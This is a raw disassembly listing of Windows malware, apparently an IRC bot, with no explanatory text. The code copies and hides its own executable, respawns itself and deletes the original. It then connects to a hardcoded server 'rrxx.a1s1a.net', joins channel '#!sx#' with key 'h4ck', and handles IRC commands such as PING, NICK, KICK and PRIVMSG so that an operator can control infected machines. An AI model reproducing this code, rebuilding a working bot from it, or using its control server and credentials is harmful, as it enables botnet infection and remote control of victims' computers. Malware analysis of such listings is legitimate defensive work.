loc_40E843 lea eax, [ebp+Dest] push 80h push eax call ds:dword_423128 ; SetFileAttributesA loc_40E843: ; CODE XREF: sub_40E68B+1A4j mov esi, ds:dword_423160 lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] xor edi, edi push eax loc_40E85A: ; CODE XREF: sub_40E68B+206j call esi ; CopyFileA test eax, eax jnz short loc_40E893 call ds:dword_423088 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40E893 cmp eax, 20h jz short loc_40E874 cmp eax, 5 jnz short loc_40E893 loc_40E874: ; CODE XREF: sub_40E68B+1E2j push 1 pop edi push 3A98h call ds:dword_423060 ; Sleep lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] push eax jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E893: ; CODE XREF: sub_40E68B+1D3j ; sub_40E68B+1DDj ... lea eax, [ebp+Dest] push eax call sub_40AB77 pop ecx lea eax, [ebp+Dest] push 7 push eax call ds:dword_423128 ; SetFileAttributesA push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_64] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_64], esi mov [ebp+var_58], offset byte_4397BC mov [ebp+var_34], bx push 1 pop esi mov [ebp+var_38], esi call ds:dword_42315C ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_4230F8 ; OpenProcess lea ecx, [ebp+FullPath] push ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_988] push offset aSDS ; "%s %d \"%s\"" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dst] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+SubStr] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+Dest] push eax call ds:dword_423120 ; CreateProcessA test eax, eax jz short loc_40E96B push 0C8h call ds:dword_423060 ; Sleep push [ebp+Dst] mov esi, ds:dword_423074 call esi push [ebp+var_18] call esi call ds:dword_43C578 ; WSACleanup push ebx call ds:dword_42314C loc_40E96B: ; CODE XREF: sub_40E68B+134j ; sub_40E68B+2B6j cmp ds:dword_486FE8, 2 jle short loc_40E9B7 mov eax, ds:dword_486FEC push dword ptr [eax+4] ; Str call _atoi pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_423084 ; WaitForSingleObject push esi call ds:dword_423074 mov eax, ds:dword_486FEC cmp [eax+8], ebx jz short loc_40E9B7 push 7D0h call ds:dword_423060 ; Sleep mov eax, ds:dword_486FEC push dword ptr [eax+8] call ds:dword_423158 ; DeleteFileA loc_40E9B7: ; CODE XREF: sub_40E68B+2E7j ; sub_40E68B+311j cmp ds:dword_42E5BC, ebx jz short loc_40E9D4 cmp ds:dword_43C6E8, ebx jnz short loc_40E9D4 lea eax, [ebp+Str] push eax ; Str call sub_40C1B0 pop ecx loc_40E9D4: ; CODE XREF: sub_40E68B+332j ; sub_40E68B+33Aj lea eax, [ebp+Source] push offset dword_434104 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push ebx ; int push eax ; Source call sub_416D48 lea eax, [ebp+Source] push eax call sub_40BF6F push 0B80h ; Size push ebx ; Val push offset Str1 ; Dst call _memset call _rand push 7Fh ; Count push offset aRrxx_a1s1a_net ; "rrxx.a1s1a.net" push offset byte_486C0C ; Dest mov ds:dword_486D84, ebx call _strncpy mov eax, ds:dword_42E5A0 push 3Fh ; Count mov edi, offset byte_486C8C push offset aSx ; "#!sx#" push edi ; Dest mov ds:dword_486D5C, eax call _strncpy push 3Fh ; Count mov esi, offset byte_486CCC push offset aH4ck ; "h4ck" push esi ; Dest call _strncpy add esp, 48h mov ds:dword_486D60, ebx loc_40EA62: ; CODE XREF: sub_40E68B+47Dj ; sub_40E68B+488j ... mov [ebp+var_4], ebx loc_40EA65: ; CODE XREF: sub_40E68B+431j cmp ds:dword_43C700, ebx jnz short loc_40EA83 lea eax, [ebp+var_20] push ebx push eax call ds:dword_43C55C ; InternetGetConnectedState test eax, eax jnz short loc_40EA83 push 7530h jmp short loc_40EAAF ; --------------------------------------------------------------------------- loc_40EA83: ; CODE XREF: sub_40E68B+3E0j ; sub_40E68B+3EFj push offset dword_486C08 mov ds:dword_486D80, ebx call sub_40EB71 cmp eax, 2 mov [ebp+var_8], eax jz loc_40EB5D cmp ds:dword_486D80, ebx jz short loc_40EAAA dec [ebp+var_4] loc_40EAAA: ; CODE XREF: sub_40E68B+41Aj push 0BB8h loc_40EAAF: ; CODE XREF: sub_40E68B+3F6j call ds:dword_423060 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40EA65 cmp [ebp+var_8], 2 jz loc_40EB5D cmp [ebp+var_C], ebx jz short loc_40EB0D push 7Fh ; Count push offset aRrxx_a1s1a_net ; "rrxx.a1s1a.net" push offset byte_486C0C ; Dest call _strncpy mov eax, ds:dword_42E5A0 push 3Fh ; Count push offset aSx ; "#!sx#" push edi ; Dest mov ds:dword_486D5C, eax call _strncpy push 3Fh ; Count push offset aH4ck ; "h4ck" push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], ebx jmp loc_40EA62 ; --------------------------------------------------------------------------- loc_40EB0D: ; CODE XREF: sub_40E68B+440j cmp ds:byte_42E644, bl jz loc_40EA62 push 7Fh ; Count push offset byte_42E644 ; Source push offset byte_486C0C ; Dest call _strncpy mov eax, ds:dword_42E5A4 push 3Fh ; Count push offset aSx_0 ; "#!sx#" push edi ; Dest mov ds:dword_486D5C, eax call _strncpy push 3Fh ; Count push offset aH4ck_0 ; "h4ck" push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], 1 jmp loc_40EA62 ; --------------------------------------------------------------------------- loc_40EB5D: ; CODE XREF: sub_40E68B+40Ej ; sub_40E68B+437j call sub_416F11 loc_40EB62: ; CODE XREF: sub_40E68B+A1j ; sub_40E68B+B1j call ds:dword_43C578 ; WSACleanup loc_40EB68: ; CODE XREF: sub_40E68B+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40E68B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB71 proc near ; CODE XREF: sub_40E68B+403p ; DATA XREF: sub_40EE51+3B1Do var_190 = dword ptr -190h Args = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h Dest = byte ptr -2Ch Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EB96: ; CODE XREF: sub_40EB71+E6j ; sub_40EB71+136j ... push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call ds:dword_43C618 ; htons mov [ebp+var_E], ax lea eax, [ebp+Args] push eax call sub_40ADC5 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECC3 push 1Ch ; Size lea eax, [ebp+Dest] push 0 ; Val push eax ; Dst call _memset push 0 ; Str1 lea eax, [ebp+Dest] push ds:dword_486D74 ; int push ds:dword_42E5C8 ; int push eax ; Dest call sub_415CF0 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh ; Count add eax, offset byte_442088 push edi ; Source push eax ; Dest call _strncpy add esp, 28h push 6 push 1 push 2 call ds:dword_43C698 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_44207C[eax], esi lea eax, [ebp+Dst] push eax push esi call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EC5C push esi call ds:dword_43C6B0 ; closesocket call sub_40ADEE push 7D0h loc_40EC51: ; CODE XREF: sub_40EB71+146j call ds:dword_423060 ; Sleep jmp loc_40EB96 ; --------------------------------------------------------------------------- loc_40EC5C: ; CODE XREF: sub_40EB71+CDj lea eax, [ebp+Args] push eax ; Args push offset dword_434138 ; Format call sub_40BFE3 push [ebp+var_38] lea eax, [ebp+Args] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECD9 add esp, 28h mov edi, eax push esi call ds:dword_43C6B0 ; closesocket test edi, edi jz loc_40EB96 cmp edi, 1 jnz short loc_40ECB9 push 0DBBA0h jmp short loc_40EC51 ; --------------------------------------------------------------------------- loc_40ECB9: ; CODE XREF: sub_40EB71+13Fj cmp edi, 2 jz short loc_40ECC7 jmp loc_40EB96 ; --------------------------------------------------------------------------- loc_40ECC3: ; CODE XREF: sub_40EB71+5Aj xor eax, eax jmp short loc_40ECD3 ; --------------------------------------------------------------------------- loc_40ECC7: ; CODE XREF: sub_40EB71+14Bj push [ebp+var_34] call sub_417064 pop ecx push 2 pop eax loc_40ECD3: ; CODE XREF: sub_40EB71+154j pop edi pop esi leave retn 4 sub_40EB71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECD9 proc near ; CODE XREF: sub_40EB71+123p Dst = byte ptr -1A10h var_A10 = dword ptr -0A10h var_240 = dword ptr -240h Str1 = byte ptr -1A0h Str = byte ptr -0A0h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call __alloca_probe push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+Str1] pop ecx loc_40ECF7: ; CODE XREF: sub_40ECD9+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ECF7 cmp ds:byte_486D7C, bl jz short loc_40ED1E push offset byte_486D7C ; Args push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] ; int call sub_40D62A add esp, 0Ch loc_40ED1E: ; CODE XREF: sub_40ECD9+2Ej push [ebp+Source] lea eax, [ebp+Dest] push ebx ; Str1 push ebx ; int push 2 ; int push eax ; Dest call sub_415CF0 add esp, 10h push eax lea eax, [ebp+Str] push [ebp+Source] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+arg_0] call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_40ED88 push [ebp+arg_0] call ds:dword_43C6B0 ; closesocket push 1388h call ds:dword_423060 ; Sleep loc_40ED81: ; CODE XREF: sub_40ECD9+D9j ; sub_40ECD9+153j xor eax, eax loc_40ED83: ; CODE XREF: sub_40ECD9+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ED88: ; CODE XREF: sub_40ECD9+92j ; sub_40ECD9+F8j ... mov esi, 1000h lea eax, [ebp+Dst] push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call ds:dword_43C630 ; recv test eax, eax jle short loc_40ED81 lea eax, [ebp+var_A10] push eax ; int lea eax, [ebp+Dst] push eax ; Str call sub_40A863 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40ED88 lea edi, [ebp+var_A10] loc_40EDD9: ; CODE XREF: sub_40ECD9+165j push 1 pop esi loc_40EDDC: ; CODE XREF: sub_40ECD9+144j push [ebp+arg_1C] ; int lea eax, [ebp+var_8] push esi ; File push eax ; int lea eax, [ebp+var_240] push eax ; int lea eax, [ebp+Str1] push eax ; Str1 push [ebp+arg_18] ; int push [ebp+Source] ; Source push [ebp+arg_8] ; int push [ebp+arg_4] ; int push [ebp+arg_0] ; int push dword ptr [edi] ; Src call sub_40EE51 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE1F push 7D0h call ds:dword_423060 ; Sleep jmp short loc_40EDDC ; --------------------------------------------------------------------------- loc_40EE1F: ; CODE XREF: sub_40ECD9+137j cmp esi, 0FFFFFFFDh jz short loc_40EE49 cmp esi, 0FFFFFFFEh jz short loc_40EE45 cmp esi, 0FFFFFFFFh jz loc_40ED81 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDD9 jmp loc_40ED88 ; --------------------------------------------------------------------------- loc_40EE45: ; CODE XREF: sub_40ECD9+14Ej push 1 jmp short loc_40EE4B ; --------------------------------------------------------------------------- loc_40EE49: ; CODE XREF: sub_40ECD9+149j push 2 loc_40EE4B: ; CODE XREF: sub_40ECD9+16Ej pop eax jmp loc_40ED83 sub_40ECD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40EE51(char *Src,int,int,int,char *Source,int,char *Str1,int,int,char *File,int) sub_40EE51 proc near ; CODE XREF: sub_40ECD9+12Ap var_15B0 = dword ptr -15B0h var_11B0 = byte ptr -11B0h Str = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh Filename = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h Dest = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = dword ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h FullPath = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh Drive = dword ptr -2E8h Dst = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh SubStr = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h Str2 = dword ptr -94h var_90 = dword ptr -90h Format = dword ptr -8Ch var_88 = dword ptr -88h Args = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Source = dword ptr 18h arg_14 = dword ptr 1Ch Str1 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h File = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call __alloca_probe push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call _memset push 1Bh ; Count lea eax, [ebp+var_928] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 18h cmp [ebp+Src], ebx jz loc_40F215 push esi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset dec esi lea eax, [ebp+Str] push esi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push offset asc_43778C ; " :" push eax ; Str call _strstr mov [ebp+var_C], eax lea eax, [ebp+Str] push esi ; Count push eax ; Source lea eax, [ebp+var_11B0] push eax ; Dest call _strncpy mov esi, offset asc_4293B4 ; " " lea eax, [ebp+var_11B0] push esi ; Delim push eax ; Str call _strtok add esp, 34h mov [ebp+Str2], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF24: ; CODE XREF: sub_40EE51+E7j push esi ; Delim push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF24 mov esi, [ebp+Str2] cmp esi, ebx jz loc_40F215 cmp [ebp+var_90], ebx jz loc_40F215 push 100h ; Size lea eax, [ebp+var_A28] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF72: ; CODE XREF: sub_40EE51+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EF9E cmp byte ptr [eax], 2Dh jnz short loc_40EFA6 cmp [eax+2], bl jnz short loc_40EFA6 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+Str2] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EF9E: ; CODE XREF: sub_40EE51+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF72 loc_40EFA6: ; CODE XREF: sub_40EE51+12Aj ; sub_40EE51+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFB1 mov [ebp+var_8], edi loc_40EFB1: ; CODE XREF: sub_40EE51+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFBF mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFBF: ; CODE XREF: sub_40EE51+166j cmp byte ptr [esi], 0Ah jz short loc_40EFF9 push 7Fh ; Count lea eax, [ebp+var_AA8] push esi ; Source push eax ; Dest call _strncpy lea eax, [esi+1] push 17h ; Count push eax ; Source lea eax, [ebp+var_D8] push eax ; Dest call _strncpy lea eax, [ebp+var_D8] push offset asc_437788 ; "!" push eax ; Str call _strtok add esp, 20h loc_40EFF9: ; CODE XREF: sub_40EE51+171j push esi ; Str2 push offset aPing ; "PING" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F04A push [ebp+var_90] ; Args mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] ; int call sub_40D62A mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F0EE push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_40D62A add esp, 10h jmp loc_40F0EE ; --------------------------------------------------------------------------- loc_40F04A: ; CODE XREF: sub_40EE51+1B7j mov esi, [ebp+var_90] push esi ; Str2 push offset a001 ; "001" call _strcmp pop ecx test eax, eax pop ecx jz loc_4150C8 push esi ; Str2 push offset a005 ; "005" call _strcmp pop ecx test eax, eax pop ecx jz loc_4150C8 push esi ; Str2 push offset a302 ; "302" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F0B5 push offset a@ ; "@" push [ebp+var_88] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_40F0EE inc eax push 9Fh ; Count push eax ; Source push [ebp+arg_1C] ; Dest call _strncpy add esp, 0Ch jmp short loc_40F0EE ; --------------------------------------------------------------------------- loc_40F0B5: ; CODE XREF: sub_40EE51+238j push esi ; Str2 push offset a433 ; "433" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F0F5 push ebx ; Str1 push ds:dword_486D74 ; int push ds:dword_42E5C8 ; int push [ebp+Source] ; Dest call sub_415CF0 push [ebp+Source] ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_40D62A add esp, 1Ch loc_40F0EE: ; CODE XREF: sub_40EE51+1D8j ; sub_40EE51+1F4j ... mov eax, edi jmp loc_40F218 ; --------------------------------------------------------------------------- loc_40F0F5: ; CODE XREF: sub_40EE51+273j mov esi, [ebp+Str1] mov [ebp+var_BC], 2 mov edi, 80h loc_40F107: ; CODE XREF: sub_40EE51+2DBj lea eax, [ebp+var_AA8] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F124 mov [ebp+var_AC], 1 loc_40F124: ; CODE XREF: sub_40EE51+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F107 mov esi, [ebp+var_90] push esi ; Str2 push offset aKick ; "KICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F21D mov esi, [ebp+Str1] mov [ebp+File], 2 loc_40F153: ; CODE XREF: sub_40EE51+38Fj cmp [esi], bl jz loc_40F1DB push 7Fh ; Count lea eax, [ebp+var_AA8] push esi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1DB cmp [ebp+var_88], ebx jz short loc_40F1DB push [ebp+var_88] ; Str2 lea eax, [ebp+var_D8] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F1DB lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+Dst] push offset dword_43770C ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax lea eax, [ebp+var_D8] push eax ; Args push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] ; int call sub_40D62A lea eax, [ebp+Dst] push eax call sub_40BF6F add esp, 20h loc_40F1DB: ; CODE XREF: sub_40EE51+304j ; sub_40EE51+324j ... add esi, edi dec [ebp+File] jnz loc_40F153 push [ebp+var_88] ; Str2 push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F215 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] ; Args mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_40F20A: ; CODE XREF: sub_40EE51+615j ; sub_40EE51+96Cj push [ebp+arg_4] ; int call sub_40D62A loc_40F212: ; CODE XREF: sub_40EE51+57B0j ; sub_40EE51+57CDj ... add esp, 10h loc_40F215: ; CODE XREF: sub_40EE51+5Bj ; sub_40EE51+F1j ... push 1 loc_40F217: ; CODE XREF: sub_40EE51+5CF7j pop eax loc_40F218: ; CODE XREF: sub_40EE51+29Fj ; sub_40EE51+22C7j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F21D: ; CODE XREF: sub_40EE51+2F2j push esi ; Str2 push offset aNick ; "NICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F373 mov eax, [ebp+Format] mov esi, [ebp+Str1] inc eax mov [ebp+Src], 2 mov [ebp+File], eax loc_40F246: ; CODE XREF: sub_40EE51+447j lea eax, [ebp+var_AA8] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F293 lea eax, [ebp+var_AA8] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F293 push [ebp+File] ; Source lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax ; Dest call _strcpy push [ebp+arg_1C] ; Source push edi ; Dest call _strcat add esp, 10h mov edi, 80h loc_40F293: ; CODE XREF: sub_40EE51+406j ; sub_40EE51+41Dj add esi, edi dec [ebp+Src] jnz short loc_40F246 lea eax, [ebp+var_D8] test eax, eax jz loc_40F215 cmp [ebp+File], ebx jz loc_40F215 push [ebp+Source] ; Str2 lea eax, [ebp+var_D8] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F2DB push 0Fh ; Count push [ebp+File] ; Source push [ebp+Source] ; Dest call _strncpy add esp, 0Ch jmp loc_40F215 ; --------------------------------------------------------------------------- loc_40F2DB: ; CODE XREF: sub_40EE51+473j mov edi, [ebp+Str1] xor esi, esi loc_40F2E0: ; CODE XREF: sub_40EE51+4B0j cmp [edi], bl jz short loc_40F2F7 lea eax, [ebp+var_AA8] push eax ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40F308 loc_40F2F7: ; CODE XREF: sub_40EE51+491j inc esi add edi, 80h cmp esi, 2 jl short loc_40F2E0 jmp loc_40F215 ; --------------------------------------------------------------------------- loc_40F308: ; CODE XREF: sub_40EE51+4A4j lea eax, [ebp+var_AA8] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+Src], eax jz loc_40F215 push eax ; Str call _strlen push [ebp+File] ; Str mov edi, eax call _strlen add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F215 push [ebp+Src] shl esi, 7 push [ebp+File] add esi, [ebp+Str1] push offset aSS_1 ; ":%s%s" push esi ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_4C0] push ebx ; int push eax ; int push [ebp+arg_8] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 24h jmp loc_40F215 ; --------------------------------------------------------------------------- loc_40F373: ; CODE XREF: sub_40EE51+3DBj push esi ; Str2 push offset aPart ; "PART" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40F395 push esi ; Str2 push offset aQuit ; "QUIT" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F3BC loc_40F395: ; CODE XREF: sub_40EE51+531j mov edi, [ebp+Str1] xor esi, esi loc_40F39A: ; CODE XREF: sub_40EE51+569j cmp [edi], bl jz short loc_40F3B0 push [ebp+Str2] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40F40A loc_40F3B0: ; CODE XREF: sub_40EE51+54Bj inc esi add edi, 80h cmp esi, 2 jl short loc_40F39A loc_40F3BC: ; CODE XREF: sub_40EE51+542j push [ebp+var_90] ; Str2 push offset a353 ; "353" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F46B push dword ptr [ebp+Args] ; Str2 push [ebp+arg_8] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F3F3 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F3F3: ; CODE XREF: sub_40EE51+597j push dword ptr [ebp+Args] ; Args push offset dword_4376B0 ; Format loc_40F3FE: ; CODE XREF: sub_40EE51+5B29j ; sub_40EE51+5EA2j ... call sub_40BFE3 pop ecx loc_40F404: ; CODE XREF: sub_40EE51+5FB7j pop ecx jmp loc_40F215 ; --------------------------------------------------------------------------- loc_40F40A: ; CODE XREF: sub_40EE51+55Dj mov eax, [ebp+Str1] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+Dst] push offset dword_437680 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_40BF6F push [ebp+var_90] ; Str2 push offset aPart ; "PART" call _strcmp add esp, 18h test eax, eax jnz loc_40F215 lea eax, [ebp+Dst] push eax mov eax, [ebp+Str2] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F20A ; --------------------------------------------------------------------------- loc_40F46B: ; CODE XREF: sub_40EE51+57Fj push [ebp+var_90] ; Str2 mov esi, offset aPrivmsg ; "PRIVMSG" push esi ; Str1 